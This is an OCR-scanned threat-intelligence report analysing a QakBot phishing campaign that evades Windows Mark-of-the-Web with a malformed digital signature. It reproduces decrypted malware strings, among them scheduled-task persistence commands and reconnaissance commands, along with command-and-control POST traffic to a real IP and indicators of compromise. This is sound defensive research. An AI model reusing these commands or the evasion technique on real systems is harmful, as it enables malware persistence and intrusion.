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This paper investigates a recent QakBot phishing campaign's ability to evade Mark-of-the-
Web (MoTW) security features, allowing for escape from the designated security zone and
successful installation of malicious software on victim device.. Key observations:

EclecticlQ analysts investigated QakBot phishing campaigns switching to a_Zero-Day,
Vulnerability to evade Windows Mark of the Web (MoTW). QakBot may be able to
increase its infection success rate as a result of the switch to a zero-day exploit.

The threat actor distributes QakBot using phishing emails with a malicious URL inside.

When a victim user clicks on the malicious URL, it starts to download an encrypted ZIP
folder that contains an ISO image. If the ISO image is opened by victim, it will mount
itself on a disk and open another File Explorer window that contains the final QakBot
Loader as a JavaScript format which can be executed by a simple user click.

The final QakBot Loader (WW.js) contains a malformed digital signature to evade the
Mark of the Web (MoTW) Security feature on Windows OS. - EclecticlQ analysts
observed use of zero-day vulnerabilities is increasing among non-nation state cyber
criminals.

Living off the Land Binaries (LOLBINS) like Regsvr32.exe (2) and WScript.exe (3) are
actively abused to execute QakBot Malware.

What is Mark of The Web (MoTW)?

Mark of the Web (MoTW) is used by Windows as a security feature across its product suite.
This feature works by checking downloaded executable files against a file whitelist that are
downloaded by Windows users.If the file is not on that list, Windows Defender SmartScreen
will show a warning message like image below and it will not execute the malware:

Windows protected your PC

Windows Defender SmartScreen prevented an unrecognized app from starting. Running this app
might put your PC at risk.
More info

Figure 1 — Windows SmartScreen warning
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The MS Office Protected view feature is used to protect MS Office users against potential
malware in documents. Most of the MS Office file types flagged with MOTW will be opened
with PROTECTED VIEW:

o PROTECTED VIEW Be careful—files from the Internet can contain viruses, Unless you need to edit, it's safer to stay in Protected View.

Figure 2 -MS Office document opened as Protected View

MS Office is able to block macro enabled office document downloaded from the internet, if
the appropriate setting is enabled. Macros in MS Office files flagged with MOTW are disabled
and a warning message is displayed to the user:
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Figure 3 — Macros blocked on downloaded Excel document

When a Windows OS user downloads a file from the internet, it creates an Alternative Data
Stream (ADS) named Zone.ldentifier and adds a Zoneld to this ADS in order to indicate the
zone from which the file originates. This is a proactive security feature to prevent
downloading malicious files on untrusted source. Many Windows security features such as
Microsoft Office Protected view, SmartScreen, Smart App Control, and warning dialogs rely
on the presence of the MoTW to function correctly.

As the example image shows, details of MoTW alternate data streams on downloaded file
from VirusTotal.ZonelD being used to identify a file, for example The following Zoneld values
may be used in a Zone.ldentifier ADS:

1. Local computer
2. Local intranet
3. Trusted sites

4. Internet

5. Restricted sites
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PS C:\Users\ \Downloads> Get-Item .\Malware.doc Zone.Identifier

PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users)\ \Downloads\Malware.doc:Zone.Identifier
PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users)\ \Downloads

PSChildName : Malware.doc:Zone.Identifier

PSDrive E

PSProvider ! Microsoft.PowerShell.Core\FileSystem

PSIsContainer : False

FileName 1 C:\Users\ \Downloads\Malware.doc

Stream : Zone.Identifier

Length . 882

PS C:\Users)\ \Downloads> Get-Content .\Malware.doc Zone,.Identifier
[ZoneTransfer]

Zoneld=3

ReferrerUrl=https://www.virustotal.com/

Figure 4 — Extracting ZonelD ADS on downloaded file

QakBot Campaign Observed Evading Windows Mark of the Web
(MoTW)

At the beginning of November 2022, EclecticlQ analysts examined a recent campaign that
delivers QakBot (also called Qbot) to victim devices via phishing emails, executes by
abusing multiple Living Off the Land Binaries (LOLBAS) and evades the Mark of the Web
(MoTW) flag to increase the infection rate. Qakbot has been observed as an initial access
point for ransomware groups (4).

Threat actors have used QakBot since 2007 (5) as a Banking Trojan to steal credit card
information from victim devices. It evolved as initial access malware for remotely delivering
additional malicious payloads. Black Basta Ransomware gang used QakBot to create an
initial access point of victim's device and move laterally within an organization's network to
execute ransomware at the end of the kill chain.

QakBot’s execution process is highlighted below:
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Figure 5 - QakBot Execution Flow

First Stage: Phishing Emails Containing Malicious URLs Deliver
Qakbot Loader

The attack starts with a phishing email containing a malicious URL and ZIP password for
delivering the QakBot malware. Victims clicking on the URL download an encrypted ZIP

folder which can be unzipped with a password provided by attackers via phishing email. That

unzipped file contains a randomly named malicious ISO image. The ISO image contains a

final QakBot loader in form of a JavaScript file (WW.js) which is used to execute QakBot DLL

in-memory of wermgr.exe (a Windows error reporting process).
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O [EXTERNAL] ATLRAU2603763D - ONE LINE - MELBOURNE, FL 32904 - Mozilla Thunderbird - u} X
File Edit View Go Message Tools Help
t Mass: =
From Jason Castine <nmtrs.aroaasec@thinkdindia.com> @ te  More vV

Subject [EXTERNAL] ATLRAU2603763D - ONE LINE - MELBOURNE, FL 32904

Hi,
Yesterday I've signed a new request for our partners. Check it please:

|httpsr//mvtrendingapm-com/slfindex-php?ipcateiudt»ad=8 | » URL to download encrypted ZIP folder contains QakBot Malware

password SK16 « Password of encrypted ZIP folder

CAUTION: This email originated from an outside system that is not part of the-organization or network. Do not click on links or open attachments
unless you recognize the sender and know the content is safe.

Figure 6 - Example of Phishing Email delivers QakBot Malware

Second Stage 2.1: In-Memory Execution of QakBot Malware via
JavaScript Loader

The QakBot Loader can be executed by one of the most widely abused Living Off the Land
Binaries And Scripts (LOLBAS) called wscript.exe (3). Threat Actors often abuse Windows
built in features to avoid detection. On Windows OS, JavaScript file extension can be
executed by user click, upon the execution it uses Windows built in software called
wscript.exe (3).
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Fig_ure 7 - QakBot loader inside mounted ISO image.

QakBot Loader deploys the Regsvr32.exe (2) command line tool as an obfuscated string to
evade antivirus detections. When a user clicks on the WW.js, it will use Regsvr32.exe (2) to
load the QakBot DLL, which is located under the port directory and is named
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Recipe

From Base64

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

I:l Strict mode

Auto Bake

start: 518

Input P S o Y B |

length: B lines: 8

MIIVNWYJIKoZIhveNAQeCoITVKDCCFYWCAQEXCZAIBgUrDgMCGZUAMGCGCiSGAQQBE] cCAQSEWTBXMDIGCI SGAQQBE] cCARAW]
AIBAQQQEODIBs441BGiowAQSONQKAIBAAIBAATBAATBAATBADARMAKGES SOAWLaBOAEFPERSX02 FXF sKTMKBX18xQco9nhLol
ISCjCCBWBWEERXDAMCAQICE E 8k 7RgVZSNNGFIionWlBYwWDQYIKoZIhvcNAQEMBQAWeZ ELMAKGALUEBhMCREIXGZAZBENVBAE
MEkImYWxwanJhemlzamggVXZ 1bTEQMAAGATUEBWWHU21nZm56YTEaMBgGA1UECEWRQ29tb2RVIENBI Expbl18ZWQX ITAFBENV
BAMMGF LramdraXVzcnZ1bCBHenpuIFJvamlzdTAeFw@y0TgoMzMuMDAWMDBaFwa@3NTMzMTYyMzUSNT 1aMFYxCzAJBgNVBAYTA
kdCMREWF gYDVQQKEWITZWN@ahdv IExpbhfl8ZWQxL TArBgNVBAMT IFNLY3RpZ28gUHVibG 1 IENVZGUgU21nbmluZyBSb2901F
I8NjCCALIIWDQYIKoZ IhveNAQEBBQADEg IPADCCAgoCEgIBAT3n1BIiBCROLYENIWKSirauNoWsRIQjkSs+3H3iMaBRbEYEKeN
SirXilt7Qh2MkiYr/7xKT0327t0qovQV/ 15trZdolDGmxvEKSMYFtbgrkoIMn2poNK1DpS1uzuGQ2pHSKPalxg2Gzc7MBCwzY
22ZNX5b4BN+0XG139HXI9ggN25vs / ZtKUMKWnEbbMBrMF6eNySUPJkx6otBKvDaurgLeen3G7X6P/ alatAvinuDZ762Z6278beH
6kMdrMn IKHWUV2A5WHS7+UCKZVwjF+7Fc/+8Q82015PMpBERMtHNRN3BTNPYy64LeG/ ZacEaxjYcfrMCPItiZkQsa3bPizkgh
iwxgeBdWfebeljYx42f2mIvqpFPmSaX4+hW8udMIYw6A0zZQMYNDZ JNZERT 1Pq4MGXEbBT nHbGDAGK +rMRo0OTHNZ Z0at gjggAv
IQ072gmRGqPVzsAaVBmx1n79VixycVxrHeEZ8cKqUGATXrIfptskOgRxALhYXK fxcnBgrekX1773VZa8oXgXukEx658b08PZ6
zT4yRhMgNooE6reqB@acDZMECHaZWFwpo7 kMpjA4PNBGN jVENLruwdX5Cnb6fgUbQMgSenVetGlfwCuqZCqxX8BnBC xFvzMb
hjcb2L+plCnuHu4nRU/ /iAMdc g iWhOVGZAAGRrVWObx44 75X,/ T1AEMBAAG jggESMIIBDjAFBENVHSMEGDAWEBSEEQojPpbxB+
zirynvgqV/eDCktDAdBENVHQ4EF gQUMUUSMY811kgvK EBCCcCAZkVwXhe YwDEYDVROPAQH/ BAQDAZGGMABGAIUAEWEB /WQFMAM
BAFBWEWYDVRAO1BAWWC Y IKWYBBQUHAWMWGWYDVROEBBOWE jAGBERVHSAAMAZGBme BDAEEATBDBENVHRBEPDAGMDigNGABR  Jo
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Figure 10 - Extracted malformed digital signature from JavaScript QakBot Loader

Second Stage 2.2: QakBot Loader uses Malformed Digital Signature
to Evade Mark of the Web (MoTW)

On November 3rd, researcher Will Dormann (6) identified three different MoTW bypass
methods for bypassing the MoTW feature. On November, 8th, Microsoft released patches

(CVE-2022-41049, CVE-2022-41091) (7) addressing two of the methods. The 3rd method -
using malformed digital signatures (CVE-2022-44698) (8) - patched on December 13 and is
actively exploited in the wild.

Normally, after executing the QakBot loader, Windows will display a warning message (see
Figure 11) to avoid the execution. Because of the malformed digital signature, the loader
bypasses the Mark of the Web (MoTW) flag, and the execution is proceeds without a
Windows warning pop-up message.
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Open File - Security Warning

Do you want to open this file?

Type:

From:

Name:

Publisher:

C\Users\  \Desktop\MOTW-CHECK js
Unknown Publisher

JavaScript File

C:\Users\ \Desktop\MOTW-CHECK js

Open Cancel

Always ask before opening this file

2 While files from the Internet can be useful, this file type can
” potentially harm your computer. If you do not trust the source, do

not open this software. What's the risk?
Figure 11 - Mark of the Web (MoTW) in action
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5] MOTW-CHECK js Properties X

General Script Security Details Previous Versions

MOTW-CH...

;S MOTW-CHECK js

Type of file: JavaScript File (.js)

Opens with: ‘ Microsoft ® Windows Ba Change...
Location: C:\Users\ \Desktop
Size: 125 bytes (125 bytes)

Size ondisk: 0 bytes

Created: Tuesday, November 22, 2022, 1:05:28 PM

Modified: Tuesday, November 22, 2022, 1:05:29 PM
Accessed: Today, November 27, 2022, 1 minute ago
Attributes: _]Read-only [ _]Hidden Advanced...
Security: This file came from another D Unblock

computer and might be blocked to
help protect this computer.

OK Cancel

Figure 12 - Downloaded JavaScript file from untrusted URL automatically flagged by MoTW.

Third Stage: QakBot Uses Multiple Techniques to Evade Anti-
Malware Scanners

In the next stage of the attack, QakBot injects itself inside the legitimate Windows Error
Reporting process (wermgr.exe) to evade behavior based anti-malware solutions.
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@wermq\ .exe (1072) Properties - a X
General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Disk and Network Comment
Hide free regions Strings... Refresh
Base address Type Size Protection Use Total WS Private WS~ Shareable WS Shared WS Locked WS A
0x72651000 Image: Commit 60 kB RX C:\Windows\SysWOW64\samcli.dll 20 kB 20 kB
0x72611000 Image: Commit . . 160 kB RX C:\Windows\SysWwOW6H\logoncli.dil 56 kB 56 kB
072601000 Image: Commit Memory Injection 4ok rx C:\Windows\SysWOW64\wkscll.dil 20kB 20 kB
0x725d1000 Image: Commit 104 kB RX C:\Windows\SysWOW64\userenv.dll 44 kB 44 kB
0x72511000 Image: Commit ‘ 628 kB RX C:\Windows\SyswOWe4\wer.dIl 52 kB 52 kB
Oxeal000 Image: Commit 92 kB RX C:\Windows\SysWOW64\wermgr.exe 12 kB 4kB 8 kB
0x360000 [ Mapped: Commit T68KB RWX | 136 kB 136 kB
0x5848000 Private: Commit 8 kB RW+G Stack 32-bit (thread 5740)
xSR05000 Private: Commit- 12 kR RW+G Stack (thread 57401 -

) wermgr.exe (1072) (0x360000 - 0x38a000)

0001dd60 94 86 39 df 00 00 00 00 82 48 27 3e 64 <2 ea e6 00 00 00 00 31 le ab 64 00 QO
0001dd80 a7 81 b Je 16 6a 88 51 25 41 B7 72 00 00 00 00 5¢ 00 22 00 00 00 00 00 2a 00
0001ddal 00 00 00 00 be 00 63 00 00 00 00 00 25 00 Y3 00 Ze 00 25 00 Yb 00 00 00 edb dd 62 Z
0001dda0 50 b 34 94 00 00 00 00 25 73 3d 2L 73 00 00 00 43 72 6L el 71 &b L7 69 ke &4
0001dded 47 65 74 43 76 72 12 65 Ge 74 50 61 T4 €8 00 00 4f 70 65 6e 53 74 6f 12 61 67
0001denn 66 41 0% fb bh ec e

0001de20 7 5 ad 58
0001dedt Ve & Z2a 91
0001det0 3a [
0001ded0
0001dean
0001decO |8
0001dewl
0001d£00 |
0001df20
0001Af40 &
0001dr60 A
0001dL80 0d B8 e

0001dfa0 00 00

0001dfed 0! 02 did d 1 d 1 b g b 60 00 00 tvvuiiii i
0001dfen 10 el fe df on 0o 66 77 3 3 9 6F 6d 6 y o 6o (O e

Figure 13 - Injected QakBot DLL

. Folewann bi..i,
%2, .. Createlindowd. ..
entlath..Openstorage. .

. LqOML UL KL ]

More information about the Living Off the Land Binaries Regsvr32.exe and WScript.exe can

be found via the links below.

* Regsvr32.exe (2)
o WScript.exe (3)

i K E 5 icrosoft Corporation € WScripl.exe
. C 1W|ndnws‘1$ystam32"|mg5w32 axe Microsoft Corporation rc \Wlnduws\&'stGmSZ‘uegsvrSE axe” purﬂlesamhlanc& tmp
.. CAWindows\SysWOWE4\regsvia2 exe Microsoft Corporation | portresamblance.imp
. CiWindows\SysWOWE4wermgr.axe Microsoft Corporation ICWWindowsiSysWOWEdwarmgr.exe

Figure 14 - Process injection on wermgr.exe and LOLBAS observed in process tree.

QakBot uses Windows APl Hashing (Dynamic API Resolution) to evade signature-based
anti-malware scanners. It hides the content of the import address table by XOR Encrypted

API Hashing Algorithm called CRC32.

Below pictures showing Decompiled functions being used to perform API Hashing:
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= o o A [Fx @ 6-x % 2 a-x
~ 11
DAT_1001da78 XREF[2]: mw_api_hashing: = 2 woid mw api hashing(veid)
entry:10086beb| - -
~*  1ee1da7s dé ?? D6h - : !
»
i::i::;: : 2 ::: : =[5 | par 10020048 = mw_decode_api ((short *)&DAT 1001da78,0x13c,0xeee) :
1001da7b le 27 1Eh 6 | DAT 10020b80 = mw_decode_api ((short #)&DAT_1001dbbg,0x28,0x1a5);
1e@1da7c 87 22 87h 7 DAT 10020b58 = mw decode api ((short #*)&DAT 1001dbe8,0x58,0xala);
1e81da7d el " Elh « Encrypted APl Hash B DAT 10020b78 = mw_decode_api ((short #*)&DAT 1001dcdd,0x18,0xle3);
1001da7e 9a ?? 9Ah 9| DAT_10020b50 = mw_decode_api ((short *)&DAT_1001dc60,0xdd,0x213) ;
leelda7f ea a2 EAh 10 DAT_10020b54 = mw_decode_api ((short *)&DAT_1001dd38,0x2c,0xala);
1e61dage da w Dah 11 DAT 10020bSc = mw_decode_api ((short *)&DAT 1001dd68,8,0x79b) ;
1601dagl <a i CAn 12 DAT 10020b7c = mw_decode_api ((short #)&DAT 1001dd74,4,0x3c5);
;::i:::; :: ?? E;: 13 DAT_10020bdd = mw_decode_api ((short +*)&DAT_1001dd7c,0x10,0x349);
1001dag4 a4 2 Aah |14 meturms
10@1da85 f6 22 F6h = P
1@01dass 3 27 F3h 2|18
1001da87 e3 2 E8h -
1001daB8 2b 7 h o+
1e01da89 8c 2? 8ch
1001dasa 09 ?»? ash
1001daBb 90 ?? 9@h
1001dagc 2d 22 00 -
1001dagd 51 2 51th  Q
1001daBe 7c 3 7ch |
1e01dasf <@ 2? E@h
1001da%0 Sb 2 5Bh [
1001dag1 f5 7 FSh .
22 v
. 1001da92 @6 22 86h > Cg Decompile: mw_api hashing x 1) Functions x

Figure 15 - XOR Encrypted API Hashing.

EclecticlQ analysts extracted the XOR key which is used to decrypt the content of APIs
during the execution time and used this key to decrypt other APIs for further analysis.

RiD & (B @ El- x ec £ @~
1066fed® 85 c9 TEST param_1,param_1 ~ 37 )
leoefed42 74 31 Jz LAB_l0008fe75 38 while( true ) {
LAB 1008fedd XREF[1]: = 39 peVaré = (char *)(*(int *)(local 14 + local 8 * 4) + param_1);

1000fedd 8b 34 82 MOV EST,dword ptr [param_2 + EAX*xd] M2 ver7 =0
1000fed7 03 7 ADD ESI,EDI 41 uvard = FUN_1000bd42d(pcvVare) ;
1000fed49 6a 00 PUSH oxe 42 uvard = mm_woofus((int)pcvax&,uva:-A ,uvar7) ;
1000fedb 56 PUSH ESI 43 if ((uvara ~[(0x218£e95b)) == local c) break;
leeefedc e8 dc b5 CALL FUN_1eeeb42d 44 local_8 = loca + 1;

ff ff 45 if (local 10 <= local 8) {
1000fe51 59 POP param_1 46 return (FARPROC)O0x0;
1000fe52 8b d@ MoV param_2, EAX e )
leeefe54 8b ce MoV param_1,ESI a8 )
1000fe56 e8 be f3 CALL FUN_10008f219 .

£ FF - 49 pFvar5 = (FARPROC) (*(int *) (ivar2 + O0x78 + param 1) + param 1);

—*| 1@@@feSb 35 5b e9 XOR XOR KEY 50 lpProcName = (FARPROC) (*(int *) (local lc + (uint)*(ushort *) (local 18 + local 8

8F 21 =51 param_1);
1060fe60 3b 45 f8 CMP EAX,dword ptr [EBP + local_c] H(/s2 if (1pProcName < prvars) {
leeofe63 8b 45 fc MoV EAX,dword ptr [EEP + local_8] =153 return lpProcName;
l000fe66 59 POP param_1 54 )

Figure 16 - XOR Encryption key stored as static to decrypt the API hash.

QakBot also uses the XOR encryption algorithm to hide its strings for minimizing AV
detection. Figure 10 shows encrypted strings are stored in the .rdata Section. They are
decrypted during run time.
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_-(mm.Muma - : BY &

T

&- x|

©®

0| =

xor_encrypted_string
leeifeds sc 14 ach
1ee1feds 7@ 7 7eh p
1e@1foda 08 7 esh
18@1fedb 76 i 76h v
1081fedc ee 7 EEh
ieeifedd df 7 DFh
leelfede sb ix 4 8Bh
1eerfedf fe " FEh
10@1fde 03 " e3h
10@1foel §7 2 F7h
leelfoe2 50 " 98h
1e81f0e3 8c ” BCh
ieeifoed 48 E 4 4a8h H
leelfees &f 7 8Fh
1001f0es 4@ i 4aEh N
1001fe? 20 " 20h
1001fBe8 91 " 91h
leelfoes 35 " 35h 5
1e01foea le s 1Eh
1e01foeb 4o 7 4th N
1eeifeec 45 Exd ash E
10@1foed cf i CFh
1e@1foee 58 " s8h X
16@1fBef di L DBh
leelfefe fe " FEh
1eelfefl 31 x4 31h 1
1eeifef2 12 14 12h
1ee1fef3 9@ 14 98h
1ee1fefs 63 i 63h ¢
10@1fEfs 2f i 2Fh  /
1881f8f6 dc LE Dch
1eelfef? Se 2”2 SEh ~
1leelfefs de ? Deh
"aa1nfe ca T = —

void _fastcall m_lDDDJDBIJ (undefined4 para.ln_l]

{

mw_xor_decrypt ((int) &xor_ encrypted string,0xSbl, (int) &xor_key ,]param_l ,param_1) ;
return;

9 o W s W N e

<
v
> 1 Cg Decompile: FUN_10001080 x ) Functions x

Figure 17 - XOR Encrypted strings hidden inside rdata section

EclecticlQ analysts successfully decrypted the XOR encrypted strings used by QakBot. The
decrypted strings are used by QakBot for testing the internet connection of the victim device,
conducting a sandbox check, gaining persistence on the victim device by abusing Schedule
Task, and gathering victim computer information upon the attacker’s request through a

command-and-control (C2) server.

Recipe oama
From Hex on
Delimiter
Auto
XOR Qen

Key

A9B533539BEAAEBB3BF7ASB57AB67EAIF70CT..  HEXT

Scheme

Standard D Null preserving

STEP
Auto Bake

length: ?a28 —
Input = . +tOzw =

lines:

8C708876EEDFBBFE@3F7908C488F4E2691351E4E45CF58D8FE311298632FDC5EDA5634D6C 93842 1D9CER813C249978D06
C53BDCBCDDBDFAGACCSCCEGB6FBEIFB736DA1B29274D53314AB967ED7ALDFE274A333ABD7534D97@F 1BDBD652DEEG248A
E6727E€23Fe06FEEE7467B8807 1AFBD435A3E6D315(D3BAF 38DCBED7BS357F8F251776E8B88(8B6BIBEGCR19D32334906
B775084(364CEF@112392727CAF35841627AEDA364 73968 898448686258852881F98192DFDFAS4BCSCS5FOEDEBOAETRT7AD
E4F18538DAB485B1882DCCBSFEEC22BCTCESS8834ES71F49F 25105D4CETFC1A3G691FEAS655609AABS83EBBSR4AEIS62TE
ES9E32DFBE0A41CFABIFBCESA3CETSASE28FFETDDAS1DB4ABEG35F@2A16B65E5B427AC95CDEFO2F399763128B64DB583D
81CE@9721CCED4AS1B1C8ASS833E1BE2CFELESCSAG2AESFIFAD6CEDSBA345BB@93983@C33714855432DD849FEF34873BA
3D3185FDESESDE3D4@aCACESES1A3262049684F6DCBET3539814157ABDE2DAFAIDE2EE46DF383B84B4F9815C3BD963583C
B381ESEG4D33CDCR37D81D34526D501E64E573ECC22812A24311EDADDBS926D6CB3C541EBCDOAF@20DAEAFS9281EELBFD
8C3D5C(84996F 7F6EBF588E6125388BF8@35B6751DAD965EE49987F125B57EB9C1 2A69DESC5CES8384FDD571D4B4073643
7619119BF31B6BBE5551A9C267EDAEEA2SFD37EF3BESD2EGBCED2DC6765C35EFCACDE4SSDBCFDALSD11224D96F71731BC
356D9FC3378927823F062C75D319AD87B5206D18AB6101AB54F282A1CA3C2D2DE69CAASBC3CAC2FAFS82BA1651A9F 28D35
DE341EEDSE31D5E686E438BETAFEBASBSDDBSF14EEB6B483DD69CTEA3B374871182987AC1B38BB4B3EADCA7DEAATFC22E
237EF3BESF2A4A16833CC715673B4A28FA46CBI88966FBE1F35D969667B17854A06BA2976D3323DFE2DYATS5286D22254
1BCFCEAS1984F 25985285 2ABC4D3DEDFACAFCEEBCOFAF7EEFAL171ECAS39D37C43482ACSB2ABBA993E671FF70AARBDL134AB
7624AE8921ECIDFAFDCAT333B767B8125EE917A1D88727F8CE249D3AFEC3BFEGAES25F48EDCBC6@3BC6724073D5BOF2C8
4D85DADB14C22824857F777159FC6FDEF@3A3FI07282B57EC13C319BD955481EDSCBE301089DC52943952FECODCCIDSCER
FDFEB83ASAESTBASG4BEAFBCA60CETS54B6DD2CDDBSCAA2TAA333F9961E61C3574BF3CES788CF26D2A93A2D52692A3988

start: 456 time: Sms
end: 456  length: 1468 I— r
Output length: @  lines: 1 B D m o

%u;Xu;%u; .89298af9.ProgramData.Self test FAILED!!!.ipconfig /all.Self check ok!.¥s "$%s = \"¥s\";
& $Xs".Xs \"$%s = \\\"Rs\\\\; & $Xs\".SoNuce]ugdiB3c[doMuce2s81*uXmcvP./t5.nltest /domain_trusts
fall_trusts.nslookup -querytype=ALL -timeout=12
_ldap._tcp.dc._msdcs.¥s.SOFTWARE\Microsoft\Windows\CurrentVersion\Run.ERROR: GetModuleFileNamel()
failed with error: ¥u.bUdiuyBlgYguty@4frdRdpfko(eKmudeuMncueaN.SELF_TEST_1.net
view.powershell.exe.c:\ProgramData. .lnk. \System32\WindowsPowerShellivl.8\powershell.exe.microsoft.
com,google.com,cisco.com,oracle.com,verisign.com,broadcom.com,yahoo.com,xfinity.com,irs.gov, linked
in.com.schtasks.exe /Delete /F /TN %u.at.exe %u:X¥u "X¥s" /I.powershell.exe -encodedCommand
.Microsoft.cmd jc set.ProfilelmagePath.SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList.cmd.gwinsta.net share.¥s %84x.Xu %¥04x.%u res: ¥s seh_test: %u
consts_test: Xd vmdetected: ¥d createprocess: ¥d.route print.whoami /all.powershell.exe -
encodedCommand XS.regsvr3l.exe ."¥s\system32\schtasks.exe” /Create /ST %02u:%@2u /RU "NT
AUTHORITY\SYSTEM™ /SC ONCE /tr "%s™ /Z /ET %02u:%02u /tn %s.arp -a.3c91e539.netstat -nao,Start
screenshot.error res="%s’ err=%d len=%u.amstream.dll.schtasks.exe /Create /RU "NT
AUTHORITY\SYSTEM™ /SC ONSTART /TN Xu /TR "%s" /NP /F.net localgroup. /¢ ping.exe -n 6 127.0.90.1 &
type "¥s\System32\calc.exe” > "¥s".runas.ERROR: GetModuleFileNameW() failed with error:
ERROR_INSUFFICIENT_BUFFER.Self check.Self test OK..r.j

Figure 18 — Decrypted Strings from QakBot Malware
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Fourth Stage: Command and Control (C2) Connection

After successful execution, QakBot checks its internet connectivity and will send multiple
POST requests to its C2 servers.

QakBot checks internet availability on victim's device:

[ Diverter] wermgr.exe (1072) requested TCP 192.0.2.123:443

[ HTTPListener443] GET / HTTP/1.1

[ HTTPListener443] Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*

[ HTTPListener443] User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
[ HTTPListener443] Host: yahoo.com

[ HTTPListener443] Cache-Control: no-cache

[

F

HTTPListener443]
igure 19 - QakBot malware checking Internet availability

C2 protocol uses JSON object encapsulation with a RC4 Encrypted message which is
encoded with Base64.

[ Diverter] wermgr.exe (1072) requested TCP 83.114.60.171:2222

[ HTTPListeners8e] POST /t5 HTTP/1.1

[ HTTPListener80] Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*

[ HTTPListenerg8o] Content-Type: application/x-www-form-urlencoded

[ HTTPListeners8o] User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
[ HTTPListenerg8o] Host: 83.114.60.171:2222

[ HTTPListeners8eo] Content-Length: 80

[ HTTPListener88] Cache-Control: no-cache

[ HTTPListenerg0]

[ HTTPListener8e] nwhoktynial=ybx9hX1o5xJR8qyNOmIkDegHVObsOFhT9j/HEenUgmAf3ofNnMDZiaMhU8yYq8X/Ag==

[ HTTPListener80@] Storing HTTP POST headers and data to http 20221127 113434.txt.

F:

igure 20 - QakBot performs command and control connections

Raw example of an HTTP POST request sent by QakBot to its C2:

POST /t5S HTTP/1.1

Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW®64; Trident/7.0; Touch; rv:11.0) like Gecko
Host: 83.114.60.171:2222

Content-Length: 80

Cache-Control: no-cache

nwhoktynial=ybx9hXlo5xJR8qyNOmIkDegHVObsIFhT9j/HEenU gmAf3ofNnMDZiaM hU8yYq8X/Ag==

MITRE ATT&CK

Technique Name TTPID

User Execution: Malicious Link T1204.001
System Binary Proxy Execution: Regsvr32 T1218.010
Command and Scripting Interpreter: JavaScript T1059.007
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Phishing: Spearphishing Link T1566.002

Application Layer Protocol: Web Protocols T1071.001
Process Injection: Process Hollowing T1055.012
Obfuscated Files or Information T1027

Obfuscated Files or Information: Dynamic APl Resolution T1027.007

System Information Discovery T1082

Scheduled Task/Job: Scheduled Task T1053.005

Virtualization/Sandbox Evasion: System Checks T1497.001

Windows Management Instrumentation T1047
Indicators:

Flle Name SHA 256 Hash

resemblance.tm
p 8cal699168417384c12b6622b8d1bcd23bc27f1861499c2059770ddd36031
274

UY76.1img
26f5bc698dfec8e771b781dc19941e2d657eb87fe8669e1f75d9e5albb4d
bidb

WW.js
c5df8f8328103380943d8ead5345ca9fe8a9d495634db53cf9eal3266e353
a3b1

Injected-

QakBot-dll 6fb41b33304b65e6e35f04e8cc70f7a24cd36e29bbb97266de68afcf113f
9a5f

Find the data for COMMAND AND CONTROL SERVER C2

Find the data for YARA RULES

About EclecticlQ Intelligence & Research Team
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https://www.eclecticiq.com/hubfs/_blogs/corporate-blog/2023/command-control-qakbot.txt
https://www.eclecticiq.com/hubfs/_blogs/corporate-blog/2023/yara-rules-qakbot-final.txt

EclecticlQ is a global provider of threat intelligence, hunting, and response technology and

services. Headquartered in Amsterdam, the EclecticlQ Intelligence & Research Team is

made up of experts from Europe and the U.S. with decades of experience in cyber security

and intelligence in industry and government.

We would love to hear from you. Please send us your feedback by emailing us
at research@eclecticiq.com or fill in the EclecticlQ Audience Interest Survey to drive our
research towards your priority area.

Structured Data

Find the Analyst Prompt and earlier editions in our public TAXII collection for easy use in
your security stack.

TAXII v1 Discovery services: https://cti.eclecticig.com/taxii/discovery.

Please refer to our support page for guidance on how to access the feeds.

You might also be interested in:

Network Environment-Focused Conversations Needed in Approaches to Cyber Security

Emotet Downloader Document Uses Regsvr32 for Execution

Al Facial Recognition Used in Ukraine/Russia War Prone to Vulnerabilities

Appendix
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https://www.eclecticiq.com/eclecticiq-intelligence-research-team
mailto:research@eclecticiq.com
https://form.jotform.com/jprawijaya/eclecticiq-audience-interest-survey
https://cti.eclecticiq.com/taxii/discovery
https://www.eclecticiq.com/public-feed-manual
https://blog.eclecticiq.com/emotet-downloader-document-uses-regsvr32-for-execution
https://blog.eclecticiq.com/the-analyst-prompt-10-ai-facial-recognition-used-in-ukraine/russia-war-prone-to-vulnerabilities
https://blog.eclecticiq.com/the-analyst-prompt-10-ai-facial-recognition-used-in-ukraine/russia-war-prone-to-vulnerabilities

